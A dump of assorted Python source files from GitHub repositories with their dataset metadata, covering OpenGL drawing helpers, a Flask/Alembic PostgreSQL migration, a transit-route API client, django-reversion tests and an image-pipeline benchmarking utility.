letter in message]\n\nresult = \"\".join(encrypted_message_list)\n\n# El resultado de la última línea en el script de Python se mostrará al usuario\n# en la textarea de resultados\nresult","repo_name":"af2047/ClubCiencias","sub_path":"docs/rot13_encrypt.py","file_name":"rot13_encrypt.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22062826528","text":"import sys\nimport OpenGL\nfrom OpenGL.GL import *\nfrom OpenGL.GLUT import *\nfrom OpenGL.GLU import *\nimport math\nfonts = {'default': GLUT_BITMAP_TIMES_ROMAN_24, 'gen_count': GLUT_BITMAP_TIMES_ROMAN_24}\ncolors = {'default': (0,0,0), 'gen_count': (.8, .3, .8)}\n\n\ndef draw_message(style, coord, message):\n r,g,b = colors[style]\n x,y = coord\n glColor3f(r, g, b)\n glRasterPos2d(x, y)\n for c in message:\n glutBitmapCharacter(fonts[style], ord(c))\n\n\nclass Button:\n def __init__(self,color1,color2, x1, y1, x2, y2):\n self.color1 = color1\n self.color2 = color2\n self.x1 = x1\n self.y1 = y1\n self.x2 = x2\n self.y2 = y2\n self.message = ''\n self.style = 'default'\n\n def draw(self):\n r,g,b = self.color1\n glColor3f(r, g, b)\n glRecti(self.x1, self.y1, self.x2, self.y2)\n r,g,b = self.color2\n glColor3f(r, g, b)\n glRecti(self.x1 + 2, self.y1 + 2, self.x2 - 2, self.y2 - 2)\n if self.message != '':\n draw_message(self.style, (self.x1 + 5, self.y1 + 5), self.message)\n\n def is_inside(self,x, y):\n if (self.x1 < x < self.x2) and (self.y1 < y < self.y2):\n return True\n else:\n return False\n\n\nclass Canvas:\n \"\"\"\n viewport and window are lists (left, right, bottom, top)\n color is used for drawing (red, green, blue)\n \"\"\"\n def __init__(self, width, height, window_title: str):\n glutInit(sys.argv)\n glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB)\n glutInitWindowSize(width, height)\n glutInitWindowPosition(0, 0)\n glutCreateWindow(window_title.encode('ascii'))\n self.window = [0, width, 0, height]\n self.viewport = [0, width, 0, height]\n self.color = [0, 0, 0]\n self.set_window(0, width, 0, height)\n self.set_viewport(0, width, 0, height)\n\n @staticmethod\n def swap():\n glutSwapBuffers()\n\n @staticmethod\n def clear_screen():\n glClear(GL_COLOR_BUFFER_BIT)\n\n @staticmethod\n def set_bc(r, g, b):\n glClearColor(r, g, b, 0.0)\n\n @staticmethod\n def thick(t):\n glLineWidth(t)\n\n def set_color(self, r, g, b):\n self.color = [r, g, b]\n glColor3f(r, g, b)\n\n def set_window(self, l, r, b, t):\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n gluOrtho2D(l, r, b, t)\n self.window = [l , r, b, t]\n\n def set_viewport(self, left, right, bottom, top):\n glViewport(left, bottom, right - left, top - bottom)\n self.viewport = [left, right, bottom, top]","repo_name":"arttype1/python_game_of_life","sub_path":"Cangui.py","file_name":"Cangui.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21192848336","text":"#from dust i have come, dust i will be\n\nimport re\n\nn=int(input())\nans=set()\n\nfor i in range(n):\n s=input()\n\n pattern=r'<\\s*(\\w+)'\n tags=re.findall(pattern,s)\n for t in tags:\n ans.add(t)\n\nx=1\nans=sorted(ans)\nfor i in ans:\n print(i,end='')\n \n if(x'.format(self.firstname, self.lastname)\n\n\ndef create_users():\n db.create_all()\n\n admin = User(firstname='Admin', lastname='User')\n user = User(firstname='Simple', lastname='User')\n developer = User(firstname='Developer', lastname='User')\n\n db.session.add(admin)\n db.session.add(user)\n db.session.add(developer)\n\n db.session.commit()\n print('Users are created successfully')\n\n\n# Make the script migration\n\ndef upgrade():\n conn = psycopg2.connect(\"dbname='poc_migration' user='postgres' host='localhost' port='5433' password='P@ssw0rd'\")\n\n cursor = conn.cursor()\n cursor.execute(\"\"\"SELECT * FROM public.user\"\"\")\n # Fetch all recorded users before adding the column\n users = cursor.fetchall()\n print('Total user = %s' % len(users))\n for user in users:\n print('for id=%s, firstname=%s, lastname=%s' % (user[0], user[1], user[2]))\n\n # Add column email now\n cursor.execute('ALTER TABLE %s ADD COLUMN %s text' % ('public.user', 'email'))\n conn.commit()\n\n \"\"\" update user email based on the user id \"\"\"\n sql = \"\"\" UPDATE public.user SET email = %s WHERE id = %s\"\"\"\n\n # Add email value\n for user in users:\n email = '%s.%s@email.com' % (user[1], user[2])\n # execute the UPDATE statement\n cursor.execute(sql, (email, user[0]))\n\n # Commit the changes to the database\n conn.commit()\n\n cursor.execute(\"\"\"SELECT * FROM public.user\"\"\")\n users = cursor.fetchall()\n print('Total updated user = %s' % len(users))\n for user in users:\n print('for id=%s, firstname=%s, lastname=%s, email=%s' % (user[0], user[1], user[2], user[3]))\n\n # Close communication with the PostgreSQL database\n cursor.close()\n conn.close()\n\n return len(users)\n\n\ndef upgrade_alembic():\n db.create_all()\n # Get all Users before starting the migration\n users = User.query.all()\n\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user', sa.Column('email', sa.String(length=120), nullable=True))\n op.create_unique_constraint(None, 'user', ['email'])\n # ### end Alembic commands ###\n\n # Apply the migration on the added field\n for user in users:\n user.email = '%s.%s@email.com' % (user.firstname, user.lastname)\n db.session.add(user)\n db.session.commit()\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'user', type_='unique')\n op.drop_column('user', 'email')\n # ### end Alembic commands ###\n","repo_name":"lemzoo/postgresql-migration","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"40906919546","text":"import datetime\nimport lib\nimport models\nimport random\nimport sys\n\nclass QuestionSet(lib.RedisDict):\n '''A list of questions that can be combined into a campaign.'''\n\n def __init__(self, id = None, **defaults):\n '''Create a new questionset: a list of questions sent to one or more users.'''\n\n lib.RedisDict.__init__(\n self,\n id = id,\n fields = {\n 'title': str,\n 'frequency': lib.Frequency,\n 'send-count': int,\n 'targets': lib.RedisList.as_child(self, 'targets', models.User),\n 'next-send-date': str,\n 'current-question': int,\n 'cron-hour': int,\n 'questions': lib.RedisList.as_child(self, 'questions', str),\n 'mode-restart': lambda x : x == 'True', # Note: bool does not work; bool('False') == True\n 'mode-shuffle': lambda x : x == 'True',\n },\n defaults = defaults\n )\n\n def should_send_next(self):\n '''Check if it's time to send the next question'''\n\n # If we've already sent all of the questions, we're done\n if self['current-question'] >= len(self['questions']):\n return False\n\n # The current date is either today or already passed (on misses, send on the next day we catch it)\n now = datetime.datetime.now()\n ymd = now.strftime('%Y-%m-%d')\n if self['next-send-date'] > ymd:\n return False\n\n # The current hour has to equal the cron hour\n if self['cron-hour'] != now.hour:\n return False\n\n # All conditions pass, send it!\n return True\n\n def send_next(self):\n '''Send the next question. Use should_send_next to check unless you want to force it.'''\n\n # If we've already sent all of the questions, we're done\n # TODO: This is here because of multiples, fix it eventually\n if self['current-question'] >= len(self['questions']):\n return False\n\n print('Sending question {} from {}'.format(self['current-question'], self))\n\n emails = [target['email'] for target in self['targets']]\n subject = '{title} Day {index} of {count}'.format(\n title = self['title'],\n index = self['current-question'] + 1,\n count = len(self['questions'])\n )\n body = self['questions'][self['current-question']]\n\n lib.email(emails = emails, subject = subject, body = body)\n\n # Question sent successfully, increment to the next question\n # TODO: Add more options for this\n\n self['current-question'] += 1\n\n # If we're past the end, check mode status\n # restart: Start over at the beginning\n # shuffle: If we start over, also randomize the questions\n if self['current-question'] >= len(self['questions']) and self['mode-restart']:\n self['current-question'] = 0\n\n # TODO: Figure out a more efficient way to do this\n if self['mode-shuffle']:\n questions = list(self['questions'])\n random.shuffle(questions)\n\n while self['questions']:\n self['questions'].lpop()\n\n for question in questions:\n self['questions'].append(question)\n\n now = datetime.datetime.now()\n today = datetime.date(now.year, now.month, now.day)\n\n # Advance the question\n next_day = self['frequency'].next(today)\n self['next-send-date'] = next_day.strftime('%Y-%m-%d')\n\n return True\n","repo_name":"jpverkamp/101-questions","sub_path":"app/models/questionset.py","file_name":"questionset.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38506194076","text":"import json\nimport pandas as pd\nimport string\nimport requests\nimport datetime as dt\n\n\n\ndef jprint(obj):\n # create a formatted string of the Python JSON object\n text = json.dumps(obj, sort_keys=True, indent=4)\n print(text)\n\ndef create_query_for_graphQL(api_adress, destination, time = '\"07:00:00\"'):\n #creates the GraphQLrequest for traveltime between to locations in ReittiopasAPI format\n check_date = dt.datetime.now()\n query = \"\"\"\n {{\n plan(\n fromPlace: \"{starter}\",\n toPlace: \"{to}\",\n date: \"{Year}-{Month}-{Day}\",\n time: {depart},\n numItineraries: 3,\n ) {{\n itineraries{{\n duration\n }}\n }}\n }}\n \"\"\".format(starter = str(api_adress), to = str(destination), Year = check_date.year, Month = check_date.month, Day = check_date.day, depart = str(time))\n return query\n\n\n\ndef run_query(query): # A simple function to use requests.post to make the API call. Note the json= section.\n request = requests.post('https://api.digitransit.fi/routing/v1/routers/hsl/index/graphql', json={'query': query})\n if request.status_code == 200:\n return request.json()\n else:\n raise Exception(\"Query failed to run by returning code of {}. {}\".format(request.status_code, query))\n\n\n\n\ndef route_length(apart_adress, home = \"Kurtinmäenkuja 2, Espoo::60.178746,24.595081\", work = \"Valimotie 21, Helsinki::60.220108,24.87883\" ):\n\n url = \"https://api.digitransit.fi/geocoding/v1/search?text=\"\n url = url + apart_adress + \"&layers=address&size=1\"\n response = requests.get(url)\n coordinates = response.json()[\"bbox\"]\n api_adress= apart_adress+\"::\"+str(coordinates[1]) + \",\" + str(coordinates[0])\n \n \n home_query = create_query_for_graphQL(api_adress,home)\n home_traveljson = run_query(home_query)\n home_durations = home_traveljson[\"data\"][\"plan\"][\"itineraries\"]\n home_average_travel = 0\n for dictionary in home_durations:\n home_average_travel = home_average_travel + dictionary[\"duration\"]\n home_average_travel = int(home_average_travel/(3*60))\n\n \n work_query = create_query_for_graphQL(api_adress,work)\n work_traveljson = run_query(work_query)\n work_durations = work_traveljson[\"data\"][\"plan\"][\"itineraries\"]\n work_average_travel = 0\n for dictionary in work_durations:\n work_average_travel = work_average_travel + dictionary[\"duration\"]\n work_average_travel = int(work_average_travel/(3*60))\n return home_average_travel, work_average_travel\n\n\ndef add_journeys_to_df(df_combined):\n df_combined.reindex(columns = df_combined.columns.tolist() + ['Reitti töihin'] + ['Reitti Kökkeliin'])\n #add new columns to the dataframe\n for index, row in df_combined.iterrows():\n #Iterate through the columns, using route_length to calculate the traveltimes and adding them to\n #the dataframe\n adress_string = row[\"Osoite\"] + \", \" + row[\"Kaupunki\"]\n print(\"Adding routes from apartment number {s}...\".format(s = index +1))\n a, b = route_length(adress_string)\n print(\"reitti kökkeliin %s\", a)\n df_combined.loc[index, \"Reitti Kökkeliin\"], df_combined.loc[index, \"Reitti töihin\"] = a, b\n \n print(\"...done!\")\n return(df_combined)\n\n\n#route_length(\"valimotie 21, Helsinki\")\n","repo_name":"RobCac/Asuntohaku","sub_path":"Reittiopas_integration.py","file_name":"Reittiopas_integration.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23317345707","text":"import argparse\nimport pickle\nimport os\nimport common.analyser\nimport common.profilestore\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Extract the links from G+ profiles field')\n parser.add_argument('db', help='A database file.')\n args = parser.parse_args()\n\n logger = common.logger.getLogger('link-extractor',output='link.log',level='info')\n\n ps = common.profilestore.ProfileStore(args.db,logger=logger)\n \n dirname = args.db[:-7].replace('-','')\n profdir = dirname+'-profiles'\n linksfile = dirname+'-links.txt'\n lfh = open(linksfile,'w')\n\n for record in ps.records:\n if record['network'] == 'Google+':\n fname = profdir+os.sep+record['uid']+'.pickle'\n try:\n p = pickle.load(open(fname,'rb'))\n for l in p.profile_links:\n lfh.write(\"{}\\n\".format(l))\n except Exception as e:\n print(e)\n \n","repo_name":"Betawolf/identity-sampler","sub_path":"profile_links.py","file_name":"profile_links.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41445831277","text":"import logging\n\nfrom reversion.models import Version\n\nfrom reversion_compare_project.utils.fixtures import Fixtures\nfrom reversion_compare_project.utils.test_cases import BaseTestCase\n\n\nclass RelationTestCase(BaseTestCase):\n def test_non_registered_relation(self):\n instance = Fixtures(verbose=False).create_RegisteredWithNotRegisteredRelationModel_data()\n\n self.assertEqual(\n list(Version.objects.values('pk', 'revision__comment')),\n [\n {'pk': 2, 'revision__comment': 'Change'},\n {'pk': 1, 'revision__comment': 'init'},\n ],\n )\n with self.assertLogs('reversion_compare', level=logging.INFO) as logs:\n response = self.client.get(\n path=(\n '/en/admin/reversion_compare_project'\n f'/registeredwithnotregisteredrelationmodel/{instance.pk}/history/compare/'\n ),\n data={'version_id2': 2, 'version_id1': 1},\n )\n self.assertEqual(response.status_code, 200, response)\n self.assertTemplateUsed(response, 'reversion-compare/compare.html')\n self.assertEqual(\n logs.output,\n [\n (\n 'INFO:reversion_compare.compare:'\n 'Related model NotRegisteredModel has not been registered with django-reversion'\n ),\n (\n 'INFO:reversion_compare.compare:'\n 'Related model NotRegisteredModel has not been registered with django-reversion'\n ),\n ],\n )\n self.assert_html_parts(\n response,\n parts=(\n '- Bar 1',\n '+ Bar 2',\n ),\n )\n","repo_name":"jedie/django-reversion-compare","sub_path":"reversion_compare/tests/test_relations.py","file_name":"test_relations.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":312,"dataset":"github-code","pt":"32"} +{"seq_id":"40780712639","text":"\r\nimport cv2\r\nimport math\r\n\r\npath = '1.jpg'\r\nimg = cv2.imread(path)\r\npointsList = []\r\n\r\n# when i click and output are give location of mine click\r\ndef mousePoint(event,x,y,flags,params):\r\n if event == cv2.EVENT_LBUTTONDOWN:\r\n # when i click then draw the circle and give value of x and y\r\n cv2.circle(img,(x,y),5,(0,0,255),cv2.FILLED) \r\n pointsList.append([x,y]) # for save in pointList\r\n #print(pointsList)\r\n \r\n\r\ndef gradient(pt1,pt2):\r\n return (pt2[1]-pt1[1])/(pt2[0]-pt1[0])\r\n \r\n \r\n \r\ndef getAngle(pointsList):\r\n pt1, pt2, pt3 = pointsList[-3:]\r\n m1 = gradient(pt1,pt2)\r\n m2 = gradient(pt1,pt3)\r\n angR = math.atan((m2-m1)/(1+(m2*m1)))\r\n angD = round(math.degrees(angR))\r\n print(angD) \r\n\r\nwhile True:\r\n \r\n if len(pointsList) % 3 == 0 and len(pointsList)!=0:\r\n getAngle(pointsList)\r\n \r\n cv2.imshow('image',img)\r\n cv2.setMouseCallback('image',mousePoint)\r\n \r\n # WHEN I PRESS 'C' THEN MY ALL CHECK POINT ARE REMOVE AND \r\n # OPEN NEW IMAGE\r\n if cv2.waitKey(1) & 0xFF == ord('c'):\r\n pointsList = []\r\n img = cv2.imread(path)","repo_name":"kirtang708/computer_vision","sub_path":"Angle_Finder/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"214232289","text":"\nfrom __future__ import print_function\n\nimport math\nimport sys\nimport platform\nimport time\nimport numpy\nimport os\nimport inspect\nimport subprocess\nimport io\nimport string\nimport copy\nimport functools\nimport warnings\nwarnings.simplefilter('ignore', UserWarning) # Suppress UserWarning from Cython related to https://github.com/cython/cython/issues/1509\n\nfrom distutils.core import setup\nfrom distutils.extension import Extension\n\nis_pypy = False\nif platform.python_implementation().lower() == 'pypy':\n # PyPy does not support skimage, so use Pillow instead for speed comparisons with PyPy\n from PIL import Image\n is_pypy = True\nelse:\n import skimage\n import skimage.color\n import skimage.io\n from Cython.Distutils import build_ext\n\ndefault_test_dtype = None\n\ncython_type_check = True # Enable debugging checks in CythonType\ntrack_shape_list = False\nutil_verbose = False\nis_initial_run = False # Whether the initial (ground truth) test run is being done. The compiler sets this global variable.\noverride_input_image = None # Override input images passed to test_image_pipeline_filename() with this filename\noverride_n_tests = None # Override number of test runs for test_image_pipeline_filename() with this integer\noverride_output_image = None # Override output image stored by test_image_pipeline_filename()\nuse_4channel = False # Turned on by ArrayStorage transform with use_4channel set to True. Causes 3 channel images to convert to 4 channel\n # when read and 4 channel images to convert to 3 channel when written.\nnrepeats = 1 # Repeat the experiment of finding minimum time over n_tests runs 'nrepeats' times for more accuracy.\n # Should be set to 1 for checked-in code.\n\ntypes_non_variable_prefix = '_nonvar_' # Special prefix for non-variable name returned by compiler.get_types()\n\nDEFAULT_THRESHOLD = 1e-2 # Default image difference threshold\nDEFAULT_DYNAMIC_MAX_TESTS = 10\nDEFAULT_DYNAMIC_MAX_TIME = 1.0\n\ndef is_test_funcname(funcname):\n \"\"\"\n Returns True if the given function name str funcname is a test function.\n \"\"\"\n return funcname.startswith('test')\n\ndef overwrite_line(line):\n \"\"\"Clears the current line on the console and overwrites it with line.\n \"\"\"\n\n sys.stdout.write(\"\\r\")\n sys.stdout.write(str(line))\n sys.stdout.flush()\n\ndef read_img(in_filename, grayscale=False, extra_info={}):\n \"\"\"Returns the image saved at in_filename as a numpy array.\n \n If grayscale is True, converts from 3D RGB image to 2D grayscale image.\n \"\"\"\n if is_pypy:\n ans = Image.open(in_filename)\n height = ans.height\n width = ans.width\n channels = len(ans.getbands())\n if ans.mode == 'I':\n numpy_mode = 'uint32'\n maxval = 65535.0\n elif ans.mode in ['L', 'RGB', 'RGBA']:\n numpy_mode = 'uint8'\n maxval = 255.0\n else:\n raise ValueError('unknown mode')\n ans = numpy.fromstring(ans.tobytes(), numpy_mode).reshape((height, width, channels))\n ans = ans/maxval\n if grayscale and (len(ans.shape) == 3 and ans.shape[2] == 3):\n ans = ans[:,:,0]*0.2125 + ans[:,:,1]*0.7154 + ans[:,:,2]*0.0721\n if len(ans.shape) == 3 and ans.shape[2] == 1:\n ans = ans[:,:,0]\n return ans\n else:\n ans = skimage.io.imread(in_filename)\n if ans.dtype == numpy.int32: # Work around scikit-image bug #1680\n ans = numpy.asarray(ans, numpy.uint16)\n ans = skimage.img_as_float(ans)\n if grayscale:\n ans = skimage.color.rgb2gray(ans)\n# print('here', use_4channel, len(ans.shape) == 3, ans.shape[2] == 3)\n if use_4channel and len(ans.shape) == 3 and ans.shape[2] == 3:\n ans = numpy.dstack((ans,) + (numpy.ones((ans.shape[0], ans.shape[1], 1)),))\n extra_info['originally_3channel'] = True\n return ans\n\ndef write_img(out_img, out_filename, do_clip=True):\n \"\"\"Writes out_img to out_filename\n \"\"\"\n if use_4channel and len(out_img.shape) == 3 and out_img.shape[2] == 4:\n out_img = out_img[:,:,:3]\n \n assert out_img is not None, 'expected out_img to not be None'\n out_img = numpy.clip(out_img, 0, 1) if do_clip else out_img\n if is_pypy:\n out_img = numpy.asarray(out_img*255, 'uint8')\n if len(out_img.shape) == 2:\n mode = 'L'\n elif len(out_img.shape) == 3:\n if out_img.shape[2] == 3:\n mode = 'RGB'\n elif out_img.shape[2] == 4:\n mode = 'RGBA'\n else:\n raise ValueError('unknown color image mode')\n else:\n raise ValueError('unknown number of dimensions for image')\n \n I = Image.frombytes(mode, (out_img.shape[1], out_img.shape[0]), out_img.tobytes())\n I.save(out_filename)\n else:\n try:\n skimage.io.imsave(out_filename, out_img)\n except:\n print('Caught exception while saving to {}: image shape is {}, min: {}, max: {}'.format(out_filename, out_img.shape, out_img.min(), out_img.max()))\n raise\n\ndef imdiff(golden_img, test_img, ignore_last_element=False, originally_3channel=False):\n \"\"\"Diffs the two images pixel-by-pixel\n\n Compares the golden image vs. the test image pixel-by-pixel, and returns mean Euclidean distance between RGB colors.\n\n Args:\n golden_img, np.ndarray, represents the ground truth image to Compare\n against\n test_img, np.ndarray, represents the test image to compare to the\n golden image\n diff_thresh, float, represents the percentage (i.e. if 10%, then 0.1)\n difference allowed for any pixel\n originally_3channel, bool, if True then discards any 4th channel before doing comparison\n Returns:\n result, float\n \"\"\"\n\n if len(golden_img.shape) == 2:\n return numpy.mean(numpy.abs(golden_img - test_img))\n elif ignore_last_element:\n return numpy.mean(numpy.abs(numpy.sqrt(numpy.sum((golden_img[:, :, :3]-test_img[:, :, :3])**2, 2))))\n elif len(golden_img.shape) == 3:\n if len(test_img.shape) == 2:\n test_img = numpy.dstack((test_img,))\n if use_4channel and originally_3channel:\n if golden_img.shape[2] == 4:\n golden_img = golden_img[:,:,:3]\n if test_img.shape[2] == 4:\n test_img = test_img[:,:,:3]\n \n # TODO: Actually fix whatever bugs cause the sizes to mismatch\n if len(golden_img.shape) == 3 and len(test_img.shape) == 3 and set([golden_img.shape[2], test_img.shape[2]]) == set([3, 4]):\n golden_img = golden_img[:,:,:3]\n test_img = test_img[:,:,:3]\n return numpy.mean(numpy.abs(numpy.sqrt(numpy.sum((golden_img-test_img)**2, 2))))\n else:\n raise ValueError('bad shape: %r' % golden_img.shape)\n\ndef write_vectorization_header_file(path):\n \"\"\"Writes the vectorization header file to path\n \"\"\"\n\n with open(path, 'wt') as f:\n f.write(\"\"\"\n typedef float v4sf __attribute__((vector_size(16)));\n typedef float v2sf __attribute__((vector_size(8)));\n \"\"\")\n\ndef cast_args(input_imgL, dtype):\n return [(numpy.asarray(x, dtype) if isinstance(x, numpy.ndarray) else x) for x in input_imgL]\n\ndef test_image_pipeline(image_func, input_imgL, n, ground_truth_output=None, verbose=True, threshold=DEFAULT_THRESHOLD, name=None, use_output_img=False, dynamic_max_tests=DEFAULT_DYNAMIC_MAX_TESTS, dynamic_max_time=DEFAULT_DYNAMIC_MAX_TIME, imdiff_ignore_last_element=True, dtype=None, additional_args=None, additional_kw_args=None, allow_kwargs=True, output_img_shape=None, originally_3channel=False, output_gain=1.0, output_bias=0.0, ground_truth_filename=''):\n \"\"\"\n Times multiple runs of image_func(*input_imageL), which accepts zero or more images as argument and returns a single image.\n\n Args:\n blur_func, function, image pipeline function\n input_imgL, list of numpy.ndarray, zero or more input image arguments to image_func\n ground_truth_output, numpy.ndarray, ground truth image to compare output to (or None)\n n, int, number of times to test the function, or None, chooses number dynamically\n (keep increasing number of tests to dynamic_max_tests so long as the total takes less\n than dynamic_max_time seconds).\n threshold: float threshold to compare against\n name: name for method to print, if None, uses module and function name.\n use_output_img: if True, passes to image_func an output image array as same type and size as input_imgL[0], as keyword arg output_img.\n imdiff_ignore_last_element: tells imdiff() whether or not to ignore the last element in the last dimension (i.e. ignore the A in RGBA),\n but this is only applied if the global use_4channel is also True.\n \n Returns {'time': time_float_secs, 'error': error_mean_rgb, 'output': output_img, 'total_time': time_float_secs}.\n \n \"\"\"\n if dtype is None:\n dtype = default_test_dtype\n if dtype is not None:\n input_imgL = cast_args(input_imgL, dtype)\n\n if verbose:\n print(\"\\nTesting \" + (str(image_func.__module__) + \".\" +\n str(image_func.__name__) + \"():\" if name is None else name))\n\n error = 0.0\n \n kw = {}\n if use_output_img:\n if output_img_shape is None:\n output_img = input_imgL[0].copy()\n else:\n output_img = numpy.zeros(output_img_shape, dtype if dtype is not None else 'float64')\n \n if override_n_tests is not None:\n n = override_n_tests\n\n nmax = n if (n is not None) else dynamic_max_tests\n\n if additional_args is not None:\n input_imgL = tuple(list(input_imgL) + list(additional_args))\n if additional_kw_args is None:\n additional_kw_args = {}\n\n if not allow_kwargs and len(additional_kw_args):\n warnings.warn('keyword arguments disabled by allow_kwargs=False')\n\n min_time_L = []\n\n for repeat in range(nrepeats):\n times = []\n for i in range(nmax):\n if verbose and (n is not None):\n overwrite_line(\"{:.1f}% done\".format(float(i) * 100.0 / n))\n \n if not use_output_img:\n if allow_kwargs and len(additional_kw_args):\n t1 = time.time()\n output_img = image_func(*input_imgL, **additional_kw_args)\n t2 = time.time()\n else:\n t1 = time.time()\n output_img = image_func(*input_imgL)\n t2 = time.time()\n else:\n if allow_kwargs:\n t1 = time.time()\n image_func(*input_imgL, output_img=output_img, **additional_kw_args)\n t2 = time.time()\n else:\n arg_tuple = tuple(input_imgL) + (output_img,)\n t1 = time.time()\n image_func(*arg_tuple)\n t2 = time.time()\n if output_gain != 1.0 or output_bias != 0.0:\n output_img = output_img*output_gain + output_bias\n\n times.append(t2 - t1)\n output_img = numpy.asarray(output_img)\n\n if ground_truth_output is not None and not is_initial_run:\n error = imdiff(ground_truth_output, output_img, ignore_last_element=imdiff_ignore_last_element, originally_3channel=originally_3channel)\n if error > threshold or math.isnan(error):\n debug_ground_truth = 'debug_ground_truth.png'\n debug_output_img = 'debug_output_img.png'\n write_img(ground_truth_output, debug_ground_truth)\n write_img(output_img, debug_output_img)\n raise ValueError(\"Output from function failed diffing with ground truth image ({}): error={}. For debugging, wrote ground truth to {}, wrote output image to {}\".format(ground_truth_filename, error, debug_ground_truth, debug_output_img))\n\n if verbose and (n is not None):\n overwrite_line(\"{:.1f}% done\".format(float(i + 1) * 100.0 / n))\n\n if n is None and numpy.sum(times) >= dynamic_max_time:\n break\n\n if verbose:\n print(\"\\nResults from running \" + str(len(times)) + \" time(s):\")\n\n sum_time = float(sum(times))\n ave_time = sum_time / len(times)\n max_time = max(times)\n min_time = min(times)\n\n if verbose:\n #print(\"--- Running time ---\")\n #print(\"Average time: \" + str(ave_time) + \" seconds\")\n #print(\"Slowest time: \" + str(max_time) + \" seconds\")\n print(\"Fastest time: \" + str(min_time) + \" seconds\")\n print(\"Error: \" + str(error))\n\n min_time_L.append(min_time)\n\n return {'time': numpy.mean(min_time_L), 'error': float(error), 'output': output_img, 'total_time': sum_time}\n\ndef test_image_pipeline_filename(image_func, in_filenameL, n=None, verbose=True, threshold=DEFAULT_THRESHOLD, grayscale=False, name=None, additional_args=None, numpy_dtype=None, use_output_img=False, dynamic_max_tests=DEFAULT_DYNAMIC_MAX_TESTS, dynamic_max_time=DEFAULT_DYNAMIC_MAX_TIME, imdiff_ignore_last_element=False, dtype=None, additional_kw_args=None, allow_kwargs=True, output_img_shape=None, output_gain=1.0, output_bias=0.0):\n \"\"\"\n Test an image pipeline using the given input image(s), which are given in the list in_filenameL (this list may be empty if no input image is used).\n \n A ground truth output image is created if it does not exist.\n If it does exist then it is compared against.\n If the global variable override_input_image is a string and a single image filename is provided, then it will be overridden by override_input_image.\n \"\"\"\n if len(in_filenameL) == 1 and override_input_image is not None:\n in_filenameL = [override_input_image]\n \n if len(in_filenameL):\n name_prefix = ''\n# print('hasattr:', hasattr(image_func, '__name__'))\n# if hasattr(image_func, '__name__'):\n# name_prefix = image_func.__name__ + '_'\n# print('name_prefix:', name_prefix)\n ground_truth_prefix = name_prefix + os.path.split(os.path.splitext(in_filenameL[0])[0])[1] + '_'\n else:\n ground_truth_prefix = ''\n \n ground_truth_filename = ground_truth_prefix + 'ground_' + image_func.__name__ + '.png'\n\n ground_truth_output = None\n if os.path.exists(ground_truth_filename):\n ground_truth_output = read_img(ground_truth_filename, grayscale=grayscale)\n\n if not additional_args:\n additional_args = tuple()\n\n extra_info = {}\n input_imgL = [read_img(in_filename, grayscale=grayscale, extra_info=extra_info) for in_filename in in_filenameL]\n originally_3channel = extra_info.get('originally_3channel', False)\n \n if numpy_dtype is not None:\n input_imgL = cast_args(input_imgL, numpy_dtype)\n\n res = test_image_pipeline(image_func,\n tuple(list(input_imgL)),\n n, \n ground_truth_output, \n verbose, \n threshold, \n name,\n use_output_img,\n dynamic_max_tests,\n dynamic_max_time,\n imdiff_ignore_last_element,\n dtype,\n additional_args=additional_args,\n additional_kw_args=additional_kw_args,\n allow_kwargs=allow_kwargs,\n output_img_shape=output_img_shape,\n originally_3channel=originally_3channel,\n output_gain=output_gain,\n output_bias=output_bias,\n ground_truth_filename=ground_truth_filename)\n\n if override_output_image is not None:\n write_img(res['output'], override_output_image)\n \n if is_initial_run:\n# print('Read {}'.format(in_filenameL))\n print('Writing {}'.format(ground_truth_filename))\n# print(' min: {}, max: {}'.format(res['output'].min(), res['output'].max()))\n write_img(res['output'], ground_truth_filename, False) #skimage.io.imsave(ground_truth_filename, res['output'])\n\n return res\n\ndef combine_tests(L):\n \"\"\"\n Combine the dictionaries returned by several tests, returning a dict with keys 'time', 'error', and 'total_time' mapping to floats.\n \n If L has length 1 then return just the single item (thus preserving also other keys such as 'output').\n \"\"\"\n if len(L) == 1:\n return L[0]\n \n ans = {}\n for key in ['time', 'error', 'total_time']:\n ans[key] = sum([x[key] for x in L])\n return ans\n\ndef print_log(s, log_file=[None]):\n \"\"\"\n Print to a log file log.txt, to work around SuppressOutput.\n \"\"\"\n if log_file[0] is None:\n log_file[0] = open('log.txt', 'w')\n print(s, file=log_file[0])\n\nclass SuppressOutput:\n \"\"\"\n Suppress output if verbose is False, unless there is an error: print when there are errors (so long as verbose_on_fail is True).\n \"\"\"\n def __init__(self, verbose=False, verbose_on_fail=True):\n self.verbose = verbose\n self.verbose_on_fail = verbose_on_fail\n \n def __enter__(self):\n if not self.verbose:\n self.old_stdout = sys.stdout\n self.old_stderr = sys.stderr\n sys.stdout = self.stdout = io.StringIO()\n sys.stderr = self.stderr = io.StringIO()\n\n def __exit__(self, exc_type, exc_value, traceback):\n if not self.verbose:\n sys.stdout = self.old_stdout\n sys.stderr = self.old_stderr\n if exc_type is not None and not self.verbose_on_fail:\n print(self.stdout.getvalue(), end='')\n print(self.stderr.getvalue(), end='')\n\nclass ProcessError(Exception):\n def __init__(self, returncode):\n self.returncode = returncode\n\n def __repr__(self):\n return 